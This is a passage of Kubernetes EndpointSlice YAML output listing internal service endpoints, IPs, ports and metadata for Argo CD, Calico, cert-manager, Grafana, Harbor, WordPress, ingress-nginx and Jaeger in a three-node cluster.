      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-redis
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      endpointslice.kubernetes.io/managed-by: endpointslice-controller.k8s.io
      helm.sh/chart: argo-cd-8.5.3
      kubernetes.io/service-name: argocd-redis
    name: argocd-redis-jncxs
    namespace: argocd
    ownerReferences:
    - apiVersion: v1
      blockOwnerDeletion: true
      controller: true
      kind: Service
      name: argocd-redis
      uid: 994598a8-19fa-470e-8552-0fe991992c30
    resourceVersion: "18046328"
    uid: 36e3028d-abd3-4c35-99fb-fd28f97007d6
  ports:
  - name: redis
    port: 6379
    protocol: TCP
- addressType: IPv4
  apiVersion: discovery.k8s.io/v1
  endpoints:
  - addresses:
    - 192.168.133.181
    conditions:
      ready: true
      serving: true
      terminating: false
    nodeName: k8s-m-1
    targetRef:
      kind: Pod
      name: argocd-repo-server-5c6559d6cd-m74c8
      namespace: argocd
      uid: 45f78b5e-ac50-4486-ac1e-b9ecb8fbcc46
  kind: EndpointSlice
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T11:13:30Z"
    creationTimestamp: "2025-09-21T20:15:16Z"
    generateName: argocd-repo-server-
    generation: 1794
    labels:
      app.kubernetes.io/component: repo-server
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-repo-server
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      endpointslice.kubernetes.io/managed-by: endpointslice-controller.k8s.io
      helm.sh/chart: argo-cd-8.5.3
      kubernetes.io/service-name: argocd-repo-server
    name: argocd-repo-server-fbxrz
    namespace: argocd
    ownerReferences:
    - apiVersion: v1
      blockOwnerDeletion: true
      controller: true
      kind: Service
      name: argocd-repo-server
      uid: 4ba09249-bbbb-41ea-b4fb-2e6b1623d638
    resourceVersion: "18007925"
    uid: fc33095c-abcb-4983-9f70-d2bdeefe2dc8
  ports:
  - name: tcp-repo-server
    port: 8081
    protocol: TCP
- addressType: IPv4
  apiVersion: discovery.k8s.io/v1
  endpoints:
  - addresses:
    - 192.168.61.202
    conditions:
      ready: true
      serving: true
      terminating: false
    nodeName: k8s-m-2
    targetRef:
      kind: Pod
      name: argocd-server-6475d67dbd-tk5kr
      namespace: argocd
      uid: c1aad999-5f09-4bf0-8a37-3c883ba424b9
  kind: EndpointSlice
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T13:25:07Z"
    creationTimestamp: "2025-09-21T20:15:17Z"
    generateName: argocd-server-
    generation: 1740
    labels:
      app.kubernetes.io/component: server
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-server
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      endpointslice.kubernetes.io/managed-by: endpointslice-controller.k8s.io
      helm.sh/chart: argo-cd-8.5.3
      kubernetes.io/service-name: argocd-server
    name: argocd-server-kk7mz
    namespace: argocd
    ownerReferences:
    - apiVersion: v1
      blockOwnerDeletion: true
      controller: true
      kind: Service
      name: argocd-server
      uid: e5837363-8177-43ce-b323-4fc505728afe
    resourceVersion: "18034182"
    uid: 8ce353c6-7984-44de-b57d-187cc7de0cf3
  ports:
  - name: http
    port: 8080
    protocol: TCP
  - name: https
    port: 8080
    protocol: TCP
- addressType: IPv4
  apiVersion: discovery.k8s.io/v1
  endpoints:
  - addresses:
    - 192.168.133.130
    conditions:
      ready: true
      serving: true
      terminating: false
    nodeName: k8s-m-1
    targetRef:
      kind: Pod
      name: artemis-wordpress-574d78556d-7zvkm
      namespace: artemis
      uid: 60e08890-423d-44c8-9915-f5addbb4e5c7
  kind: EndpointSlice
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T11:13:46Z"
    creationTimestamp: "2025-10-19T12:06:46Z"
    generateName: artemis-wordpress-
    generation: 22
    labels:
      app.kubernetes.io/instance: artemis
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: wordpress
      app.kubernetes.io/version: 6.8.3-apache
      endpointslice.kubernetes.io/managed-by: endpointslice-controller.k8s.io
      helm.sh/chart: wordpress-0.14.5
      kubernetes.io/service-name: artemis-wordpress
    name: artemis-wordpress-4hjzv
    namespace: artemis
    ownerReferences:
    - apiVersion: v1
      blockOwnerDeletion: true
      controller: true
      kind: Service
      name: artemis-wordpress
      uid: 76b97f11-19f4-4401-8d36-0557ca63a62f
    resourceVersion: "18008021"
    uid: d256c0d4-8744-4eac-bb4f-200f3017c3c8
  ports:
  - name: http
    port: 8000
    protocol: TCP
- addressType: IPv4
  apiVersion: discovery.k8s.io/v1
  endpoints:
  - addresses:
    - 192.168.61.235
    conditions:
      ready: true
      serving: true
      terminating: false
    nodeName: k8s-m-2
    targetRef:
      kind: Pod
      name: calico-kube-controllers-d595576c-6vkn8
      namespace: calico-system
      uid: 743df39a-3ed7-44d0-8c17-3ec9be91acfa
  kind: EndpointSlice
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T13:25:26Z"
    creationTimestamp: "2025-10-19T16:12:27Z"
    generateName: calico-kube-controllers-metrics-
    generation: 21
    labels:
      endpointslice.kubernetes.io/managed-by: endpointslice-controller.k8s.io
      k8s-app: calico-kube-controllers
      kubernetes.io/service-name: calico-kube-controllers-metrics
      service.kubernetes.io/headless: ""
    name: calico-kube-controllers-metrics-hhzld
    namespace: calico-system
    ownerReferences:
    - apiVersion: v1
      blockOwnerDeletion: true
      controller: true
      kind: Service
      name: calico-kube-controllers-metrics
      uid: e42f12a4-7794-4039-afa1-8dd23666564d
    resourceVersion: "18034307"
    uid: 20bd13ea-2104-422e-8b04-eb7997304403
  ports:
  - name: metrics-port
    port: 9094
    protocol: TCP
- addressType: IPv4
  apiVersion: discovery.k8s.io/v1
  endpoints:
  - addresses:
    - 172.16.30.17
    conditions:
      ready: true
      serving: true
      terminating: false
    nodeName: k8s-m-2
    targetRef:
      kind: Pod
      name: calico-typha-68b6598cf8-8hgmg
      namespace: calico-system
      uid: 35e5fbfb-0551-4ee7-b34d-b6c864ce3659
  - addresses:
    - 172.16.30.16
    conditions:
      ready: true
      serving: true
      terminating: false
    nodeName: k8s-m-1
    targetRef:
      kind: Pod
      name: calico-typha-68b6598cf8-spshx
      namespace: calico-system
      uid: 2662d551-4bc6-48a9-abae-e00072c2e5ad
  kind: EndpointSlice
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T13:23:46Z"
    creationTimestamp: "2025-10-19T16:12:26Z"
    generateName: calico-typha-
    generation: 26
    labels:
      endpointslice.kubernetes.io/managed-by: endpointslice-controller.k8s.io
      k8s-app: calico-typha
      kubernetes.io/service-name: calico-typha
    name: calico-typha-drvc5
    namespace: calico-system
    ownerReferences:
    - apiVersion: v1
      blockOwnerDeletion: true
      controller: true
      kind: Service
      name: calico-typha
      uid: dfd67a60-8c18-4e1c-9eed-5f7bf3cde879
    resourceVersion: "18033423"
    uid: 25902c55-61ad-4bd6-a21d-58f7bd87e71a
  ports:
  - name: calico-typha
    port: 5473
    protocol: TCP
- addressType: IPv4
  apiVersion: discovery.k8s.io/v1
  endpoints:
  - addresses:
    - 192.168.34.41
    conditions:
      ready: true
      serving: true
      terminating: false
    nodeName: k8s-m-3
    targetRef:
      kind: Pod
      name: goldmane-74cb5d9557-hhnbv
      namespace: calico-system
      uid: 88f4e130-8c39-4315-bb8a-660ea0feb5df
  kind: EndpointSlice
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T14:25:52Z"
    creationTimestamp: "2025-10-19T16:26:42Z"
    generateName: goldmane-
    generation: 28
    labels:
      endpointslice.kubernetes.io/managed-by: endpointslice-controller.k8s.io
      kubernetes.io/service-name: goldmane
    name: goldmane-cksvd
    namespace: calico-system
    ownerReferences:
    - apiVersion: v1
      blockOwnerDeletion: true
      controller: true
      kind: Service
      name: goldmane
      uid: c0938c39-3406-462b-8709-0999ca0013f3
    resourceVersion: "18046518"
    uid: be49235f-a37a-4b66-8ac7-478e71ad762f
  ports:
  - name: ""
    port: 7443
    protocol: TCP
- addressType: IPv4
  apiVersion: discovery.k8s.io/v1
  endpoints:
  - addresses:
    - 192.168.61.194
    conditions:
      ready: true
      serving: true
      terminating: false
    nodeName: k8s-m-2
    targetRef:
      kind: Pod
      name: whisker-796cf9b5d7-lfc95
      namespace: calico-system
      uid: d01ce624-9121-4a62-8456-fbf4cd4e35a4
  kind: EndpointSlice
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T13:23:57Z"
    creationTimestamp: "2025-10-19T16:26:59Z"
    generateName: whisker-
    generation: 15
    labels:
      endpointslice.kubernetes.io/managed-by: endpointslice-controller.k8s.io
      kubernetes.io/service-name: whisker
    name: whisker-7sxt9
    namespace: calico-system
    ownerReferences:
    - apiVersion: v1
      blockOwnerDeletion: true
      controller: true
      kind: Service
      name: whisker
      uid: 40e2cfdc-0814-4f96-9cb5-251bafab6f26
    resourceVersion: "18033634"
    uid: ad258cc9-565c-4f61-bac9-ebd37d5ec9fc
  ports:
  - name: ""
    port: 8081
    protocol: TCP
- addressType: IPv4
  apiVersion: discovery.k8s.io/v1
  endpoints:
  - addresses:
    - 192.168.34.46
    conditions:
      ready: true
      serving: true
      terminating: false
    nodeName: k8s-m-3
    targetRef:
      kind: Pod
      name: cert-manager-58dd99f969-n4w2f
      namespace: cert-manager
      uid: 8d8d25e9-f4f9-4736-8cc2-2d42b148041c
  kind: EndpointSlice
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T14:25:20Z"
    creationTimestamp: "2025-09-22T13:18:24Z"
    generateName: cert-manager-
    generation: 42
    labels:
      app: cert-manager
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: cert-manager
      app.kubernetes.io/version: v1.18.2
      endpointslice.kubernetes.io/managed-by: endpointslice-controller.k8s.io
      helm.sh/chart: cert-manager-v1.18.2
      kubernetes.io/service-name: cert-manager
    name: cert-manager-46nlr
    namespace: cert-manager
    ownerReferences:
    - apiVersion: v1
      blockOwnerDeletion: true
      controller: true
      kind: Service
      name: cert-manager
      uid: 97e29cdc-c739-4380-9902-64a413ab2529
    resourceVersion: "18046319"
    uid: 9ea1bf6e-912c-43a4-b9e3-ae1e37b87f01
  ports:
  - name: tcp-prometheus-servicemonitor
    port: 9402
    protocol: TCP
- addressType: IPv4
  apiVersion: discovery.k8s.io/v1
  endpoints:
  - addresses:
    - 192.168.34.44
    conditions:
      ready: true
      serving: true
      terminating: false
    nodeName: k8s-m-3
    targetRef:
      kind: Pod
      name: cert-manager-cainjector-55cd9f77b5-7cj29
      namespace: cert-manager
      uid: 822d8b55-d277-4be6-95a7-02188b04a24f
  kind: EndpointSlice
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T14:25:21Z"
    creationTimestamp: "2025-09-22T13:18:24Z"
    generateName: cert-manager-cainjector-
    generation: 46
    labels:
      app: cainjector
      app.kubernetes.io/component: cainjector
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: cainjector
      app.kubernetes.io/version: v1.18.2
      endpointslice.kubernetes.io/managed-by: endpointslice-controller.k8s.io
      helm.sh/chart: cert-manager-v1.18.2
      kubernetes.io/service-name: cert-manager-cainjector
    name: cert-manager-cainjector-qj724
    namespace: cert-manager
    ownerReferences:
    - apiVersion: v1
      blockOwnerDeletion: true
      controller: true
      kind: Service
      name: cert-manager-cainjector
      uid: bf716f81-2d42-4d5a-99e6-b1ce26ac560c
    resourceVersion: "18046344"
    uid: 221b2d48-df41-4ca5-a2c9-e2792c464ee3
  ports:
  - name: http-metrics
    port: 9402
    protocol: TCP
- addressType: IPv4
  apiVersion: discovery.k8s.io/v1
  endpoints:
  - addresses:
    - 192.168.133.160
    conditions:
      ready: true
      serving: true
      terminating: false
    nodeName: k8s-m-1
    targetRef:
      kind: Pod
      name: cert-manager-webhook-7987476d56-gsf9g
      namespace: cert-manager
      uid: 93218ca3-5988-49d4-b805-e3c818a77514
  kind: EndpointSlice
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T11:14:17Z"
    creationTimestamp: "2025-09-22T13:18:24Z"
    generateName: cert-manager-webhook-
    generation: 88
    labels:
      app: webhook
      app.kubernetes.io/component: webhook
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: webhook
      app.kubernetes.io/version: v1.18.2
      endpointslice.kubernetes.io/managed-by: endpointslice-controller.k8s.io
      helm.sh/chart: cert-manager-v1.18.2
      kubernetes.io/service-name: cert-manager-webhook
    name: cert-manager-webhook-9gfvr
    namespace: cert-manager
    ownerReferences:
    - apiVersion: v1
      blockOwnerDeletion: true
      controller: true
      kind: Service
      name: cert-manager-webhook
      uid: 97bfd49d-3646-46b4-b345-b1b3f01eaf2c
    resourceVersion: "18008216"
    uid: 699fb2ec-6626-46d4-baa8-d061728007ed
  ports:
  - name: https
    port: 10250
    protocol: TCP
  - name: metrics
    port: 9402
    protocol: TCP
- addressType: IPv4
  apiVersion: discovery.k8s.io/v1
  endpoints:
  - addresses:
    - 172.16.30.16
    conditions:
      ready: true
  - addresses:
    - 172.16.30.17
    conditions:
      ready: true
  - addresses:
    - 172.16.30.18
    conditions:
      ready: true
  kind: EndpointSlice
  metadata:
    creationTimestamp: "2025-09-21T11:09:18Z"
    generation: 126
    labels:
      kubernetes.io/service-name: kubernetes
    name: kubernetes
    namespace: default
    resourceVersion: "18045997"
    uid: 15ae583e-f789-435a-bb11-625b10041779
  ports:
  - name: https
    port: 6443
    protocol: TCP
- addressType: IPv4
  apiVersion: discovery.k8s.io/v1
  endpoints:
  - addresses:
    - 192.168.34.32
    conditions:
      ready: true
      serving: true
      terminating: false
    nodeName: k8s-m-3
    targetRef:
      kind: Pod
      name: grafana-65fc6dbcff-qr6t9
      namespace: grafana
      uid: 19044b4a-a145-4779-87c3-efa7262683b0
  kind: EndpointSlice
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T14:25:32Z"
    creationTimestamp: "2025-09-21T20:37:13Z"
    generateName: grafana-
    generation: 78
    labels:
      app.kubernetes.io/instance: grafana
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: grafana
      app.kubernetes.io/version: 12.1.1
      endpointslice.kubernetes.io/managed-by: endpointslice-controller.k8s.io
      helm.sh/chart: grafana-10.0.0
      kubernetes.io/service-name: grafana
    name: grafana-s26mm
    namespace: grafana
    ownerReferences:
    - apiVersion: v1
      blockOwnerDeletion: true
      controller: true
      kind: Service
      name: grafana
      uid: 94f56c64-250e-4d80-b306-86509d8ec084
    resourceVersion: "18046403"
    uid: b36a1c08-ac1c-4be9-9452-d685eb58f4fa
  ports:
  - name: service
    port: 3000
    protocol: TCP
- addressType: IPv4
  apiVersion: discovery.k8s.io/v1
  endpoints:
  - addresses:
    - 192.168.61.221
    conditions:
      ready: true
      serving: true
      terminating: false
    nodeName: k8s-m-2
    targetRef:
      kind: Pod
      name: harbor-core-84f58f6d9d-fck4m
      namespace: harbor
      uid: 7b4bc210-cf2c-4ae2-b60d-738a131dae7f
  kind: EndpointSlice
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T14:26:04Z"
    creationTimestamp: "2025-10-19T11:57:59Z"
    generateName: harbor-core-
    generation: 36
    labels:
      app: harbor
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      endpointslice.kubernetes.io/managed-by: endpointslice-controller.k8s.io
      heritage: Helm
      kubernetes.io/service-name: harbor-core
      release: harbor
    name: harbor-core-8g2d2
    namespace: harbor
    ownerReferences:
    - apiVersion: v1
      blockOwnerDeletion: true
      controller: true
      kind: Service
      name: harbor-core
      uid: a6ccff31-100b-4a00-ae90-2dac0e09193c
    resourceVersion: "18046567"
    uid: c3d14903-669c-4f29-aae8-28025cc4f005
  ports:
  - name: http-web
    port: 8080
    protocol: TCP
- addressType: IPv4
  apiVersion: discovery.k8s.io/v1
  endpoints:
  - addresses:
    - 192.168.133.136
    conditions:
      ready: true
      serving: true
      terminating: false
    hostname: harbor-database-0
    nodeName: k8s-m-1
    targetRef:
      kind: Pod
      name: harbor-database-0
      namespace: harbor
      uid: 581a45a9-3326-49f4-9747-0a3ce146d1c9
  kind: EndpointSlice
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T11:13:28Z"
    creationTimestamp: "2025-10-19T11:57:59Z"
    generateName: harbor-database-
    generation: 48
    labels:
      app: harbor
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      endpointslice.kubernetes.io/managed-by: endpointslice-controller.k8s.io
      heritage: Helm
      kubernetes.io/service-name: harbor-database
      release: harbor
    name: harbor-database-mb7fd
    namespace: harbor
    ownerReferences:
    - apiVersion: v1
      blockOwnerDeletion: true
      controller: true
      kind: Service
      name: harbor-database
      uid: 08645d20-b1bd-4a48-a4a1-dde0b73f2f15
    resourceVersion: "18007899"
    uid: 84bf73ff-13a0-4600-a192-5c9b0971c3db
  ports:
  - name: ""
    port: 5432
    protocol: TCP
- addressType: IPv4
  apiVersion: discovery.k8s.io/v1
  endpoints:
  - addresses:
    - 192.168.61.244
    conditions:
      ready: true
      serving: true
      terminating: false
    nodeName: k8s-m-2
    targetRef:
      kind: Pod
      name: harbor-jobservice-7d76588fb9-rn7vj
      namespace: harbor
      uid: 108af606-4d66-40f3-9737-52a63dfa51ad
  kind: EndpointSlice
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T14:27:58Z"
    creationTimestamp: "2025-10-19T11:57:59Z"
    generateName: harbor-jobservice-
    generation: 32
    labels:
      app: harbor
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      endpointslice.kubernetes.io/managed-by: endpointslice-controller.k8s.io
      heritage: Helm
      kubernetes.io/service-name: harbor-jobservice
      release: harbor
    name: harbor-jobservice-llvvb
    namespace: harbor
    ownerReferences:
    - apiVersion: v1
      blockOwnerDeletion: true
      controller: true
      kind: Service
      name: harbor-jobservice
      uid: 59c38efe-bfea-4d57-a208-dc308bfaae73
    resourceVersion: "18046947"
    uid: 70ebd931-b5b2-45e3-a653-607d87152ab0
  ports:
  - name: http-jobservice
    port: 8080
    protocol: TCP
- addressType: IPv4
  apiVersion: discovery.k8s.io/v1
  endpoints:
  - addresses:
    - 192.168.61.210
    conditions:
      ready: true
      serving: true
      terminating: false
    nodeName: k8s-m-2
    targetRef:
      kind: Pod
      name: harbor-portal-864c6cd7-hzcjx
      namespace: harbor
      uid: c94e3a6a-73c0-49a5-99bf-e181eab93f31
  kind: EndpointSlice
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T13:24:48Z"
    creationTimestamp: "2025-10-19T11:57:59Z"
    generateName: harbor-portal-
    generation: 22
    labels:
      app: harbor
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      endpointslice.kubernetes.io/managed-by: endpointslice-controller.k8s.io
      heritage: Helm
      kubernetes.io/service-name: harbor-portal
      release: harbor
    name: harbor-portal-bxksb
    namespace: harbor
    ownerReferences:
    - apiVersion: v1
      blockOwnerDeletion: true
      controller: true
      kind: Service
      name: harbor-portal
      uid: 5fe8d609-b56e-461b-95e5-9cae2c150cf0
    resourceVersion: "18034019"
    uid: b6165f5b-93e4-432c-a208-def6c2c1f0db
  ports:
  - name: ""
    port: 8080
    protocol: TCP
- addressType: IPv4
  apiVersion: discovery.k8s.io/v1
  endpoints:
  - addresses:
    - 192.168.34.33
    conditions:
      ready: true
      serving: true
      terminating: false
    hostname: harbor-redis-0
    nodeName: k8s-m-3
    targetRef:
      kind: Pod
      name: harbor-redis-0
      namespace: harbor
      uid: 32c530e0-a630-449f-9bde-168bd606dfb3
  kind: EndpointSlice
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T14:25:19Z"
    creationTimestamp: "2025-10-19T11:57:59Z"
    generateName: harbor-redis-
    generation: 24
    labels:
      app: harbor
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      endpointslice.kubernetes.io/managed-by: endpointslice-controller.k8s.io
      heritage: Helm
      kubernetes.io/service-name: harbor-redis
      release: harbor
    name: harbor-redis-wmkgr
    namespace: harbor
    ownerReferences:
    - apiVersion: v1
      blockOwnerDeletion: true
      controller: true
      kind: Service
      name: harbor-redis
      uid: 6747ae29-f5c3-45c2-a7d0-fba3549c3bdb
    resourceVersion: "18046297"
    uid: 263b9822-cab3-4e4f-90db-ecfb1ebbbaef
  ports:
  - name: ""
    port: 6379
    protocol: TCP
- addressType: IPv4
  apiVersion: discovery.k8s.io/v1
  endpoints:
  - addresses:
    - 192.168.61.223
    conditions:
      ready: true
      serving: true
      terminating: false
    nodeName: k8s-m-2
    targetRef:
      kind: Pod
      name: harbor-registry-6f6b79b866-cgqvm
      namespace: harbor
      uid: 3aadb95d-f74e-435c-89a7-9055f4d9941f
  kind: EndpointSlice
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T13:24:06Z"
    creationTimestamp: "2025-10-19T11:58:00Z"
    generateName: harbor-registry-
    generation: 21
    labels:
      app: harbor
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      endpointslice.kubernetes.io/managed-by: endpointslice-controller.k8s.io
      heritage: Helm
      kubernetes.io/service-name: harbor-registry
      release: harbor
    name: harbor-registry-ljgxv
    namespace: harbor
    ownerReferences:
    - apiVersion: v1
      blockOwnerDeletion: true
      controller: true
      kind: Service
      name: harbor-registry
      uid: 2e6c0124-d8f5-473d-b905-df9ec217cc3b
    resourceVersion: "18033732"
    uid: bcfe86ce-10b4-48be-85e0-92bebf471863
  ports:
  - name: http-registry
    port: 5000
    protocol: TCP
  - name: http-controller
    port: 8080
    protocol: TCP
- addressType: IPv4
  apiVersion: discovery.k8s.io/v1
  endpoints:
  - addresses:
    - 192.168.133.133
    conditions:
      ready: true
      serving: true
      terminating: false
    hostname: harbor-trivy-0
    nodeName: k8s-m-1
    targetRef:
      kind: Pod
      name: harbor-trivy-0
      namespace: harbor
      uid: a70d7d44-1873-41a4-a0c7-82a19ebca811
  kind: EndpointSlice
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T11:13:29Z"
    creationTimestamp: "2025-10-19T11:58:00Z"
    generateName: harbor-trivy-
    generation: 20
    labels:
      app: harbor
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      endpointslice.kubernetes.io/managed-by: endpointslice-controller.k8s.io
      heritage: Helm
      kubernetes.io/service-name: harbor-trivy
      release: harbor
    name: harbor-trivy-znqtj
    namespace: harbor
    ownerReferences:
    - apiVersion: v1
      blockOwnerDeletion: true
      controller: true
      kind: Service
      name: harbor-trivy
      uid: 67e321c6-a370-4f18-b437-68d5f867b0c9
    resourceVersion: "18007913"
    uid: aa427c20-c0ed-4b06-aebc-abc5d00a2149
  ports:
  - name: http-trivy
    port: 8080
    protocol: TCP
- addressType: IPv4
  apiVersion: discovery.k8s.io/v1
  endpoints:
  - addresses:
    - 192.168.61.232
    conditions:
      ready: true
      serving: true
      terminating: false
    nodeName: k8s-m-2
    targetRef:
      kind: Pod
      name: hera-wordpress-7f576688d9-bx44r
      namespace: hera
      uid: dfdaf2ae-dd7f-474e-91a5-463965d76c61
  kind: EndpointSlice
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T13:25:05Z"
    creationTimestamp: "2025-10-19T12:11:19Z"
    generateName: hera-wordpress-
    generation: 24
    labels:
      app.kubernetes.io/instance: hera
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: wordpress
      app.kubernetes.io/version: 6.8.3-apache
      endpointslice.kubernetes.io/managed-by: endpointslice-controller.k8s.io
      helm.sh/chart: wordpress-0.14.5
      kubernetes.io/service-name: hera-wordpress
    name: hera-wordpress-gcld6
    namespace: hera
    ownerReferences:
    - apiVersion: v1
      blockOwnerDeletion: true
      controller: true
      kind: Service
      name: hera-wordpress
      uid: 67383052-af67-4c53-b87d-d14d493c275a
    resourceVersion: "18034166"
    uid: a53eda5b-e095-4184-8379-795d253e2a8f
  ports:
  - name: http
    port: 8000
    protocol: TCP
- addressType: IPv4
  apiVersion: discovery.k8s.io/v1
  endpoints:
  - addresses:
    - 192.168.61.234
    conditions:
      ready: true
      serving: true
      terminating: false
    nodeName: k8s-m-2
    targetRef:
      kind: Pod
      name: ingress-nginx-controller-6b96cf684f-tfftb
      namespace: ingress-nginx
      uid: 5d0b1d6e-dc38-4c6f-b553-1d0150bad2dc
  kind: EndpointSlice
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T13:24:35Z"
    creationTimestamp: "2025-09-21T19:03:27Z"
    generateName: ingress-nginx-controller-admission-
    generation: 33
    labels:
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: ingress-nginx
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: ingress-nginx
      app.kubernetes.io/part-of: ingress-nginx
      app.kubernetes.io/version: 1.13.2
      endpointslice.kubernetes.io/managed-by: endpointslice-controller.k8s.io
      helm.sh/chart: ingress-nginx-4.13.2
      kubernetes.io/service-name: ingress-nginx-controller-admission
    name: ingress-nginx-controller-admission-fwgwx
    namespace: ingress-nginx
    ownerReferences:
    - apiVersion: v1
      blockOwnerDeletion: true
      controller: true
      kind: Service
      name: ingress-nginx-controller-admission
      uid: 13b22eb0-b61f-41e9-899f-b211e02baa82
    resourceVersion: "18033905"
    uid: b28e9873-0c4e-490b-a6ee-e1f7ec334fb7
  ports:
  - appProtocol: https
    name: https-webhook
    port: 8443
    protocol: TCP
- addressType: IPv4
  apiVersion: discovery.k8s.io/v1
  endpoints:
  - addresses:
    - 192.168.61.234
    conditions:
      ready: true
      serving: true
      terminating: false
    nodeName: k8s-m-2
    targetRef:
      kind: Pod
      name: ingress-nginx-controller-6b96cf684f-tfftb
      namespace: ingress-nginx
      uid: 5d0b1d6e-dc38-4c6f-b553-1d0150bad2dc
  kind: EndpointSlice
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T13:24:35Z"
    creationTimestamp: "2025-09-21T19:03:27Z"
    generateName: ingress-nginx-controller-
    generation: 33
    labels:
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: ingress-nginx
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: ingress-nginx
      app.kubernetes.io/part-of: ingress-nginx
      app.kubernetes.io/version: 1.13.2
      endpointslice.kubernetes.io/managed-by: endpointslice-controller.k8s.io
      helm.sh/chart: ingress-nginx-4.13.2
      kubernetes.io/service-name: ingress-nginx-controller
    name: ingress-nginx-controller-bd2r2
    namespace: ingress-nginx
    ownerReferences:
    - apiVersion: v1
      blockOwnerDeletion: true
      controller: true
      kind: Service
      name: ingress-nginx-controller
      uid: 93f7f32a-1468-4740-92cc-c3f21531a483
    resourceVersion: "18033904"
    uid: 2d106f7b-6068-4838-8df8-f309ba606187
  ports:
  - appProtocol: https
    name: https
    port: 443
    protocol: TCP
  - appProtocol: http
    name: http
    port: 80
    protocol: TCP
- addressType: IPv4
  apiVersion: discovery.k8s.io/v1
  endpoints:
  - addresses:
    - 192.168.133.134
    conditions:
      ready: true
      serving: true
      terminating: false
    nodeName: k8s-m-1
    targetRef:
      kind: Pod
      name: jaeger-agent-zv7dg
      namespace: jaeger
      uid: bcf63259-64dc-4730-8aca-54eb9b32620a
  - addresses:
    - 192.168.61.207
    conditions:
      ready: true
      serving: true
      terminating: false
    nodeName: k8s-m-2
    targetRef:
      kind: Pod
      name: jaeger-agent-2qptt
      namespace: jaeger
      uid: f0c32e9f-306d-4881-a949-c1fc6d08807f
  - addresses:
    - 192.168.34.42
    conditions:
      ready: true
      serving: true
      terminating: false
    nodeName: k8s-m-3
    targetRef:
      kind: Pod
      name: jaeger-agent-n4rr4
      namespace: jaeger
      uid: 3283cb02-e116-4725-93d9-b4f57d4ddee5
  kind: EndpointSlice
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T14:25:19Z"
    creationTimestamp: "2025-10-19T15:15:44Z"
    generateName: jaeger-agent-
    generation: 71
    labels:
      app.kubernetes.io/component: agent
      app.kubernetes.io/instance: jaeger
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: jaeger
      app.kubernetes.io/version: 1.53.0
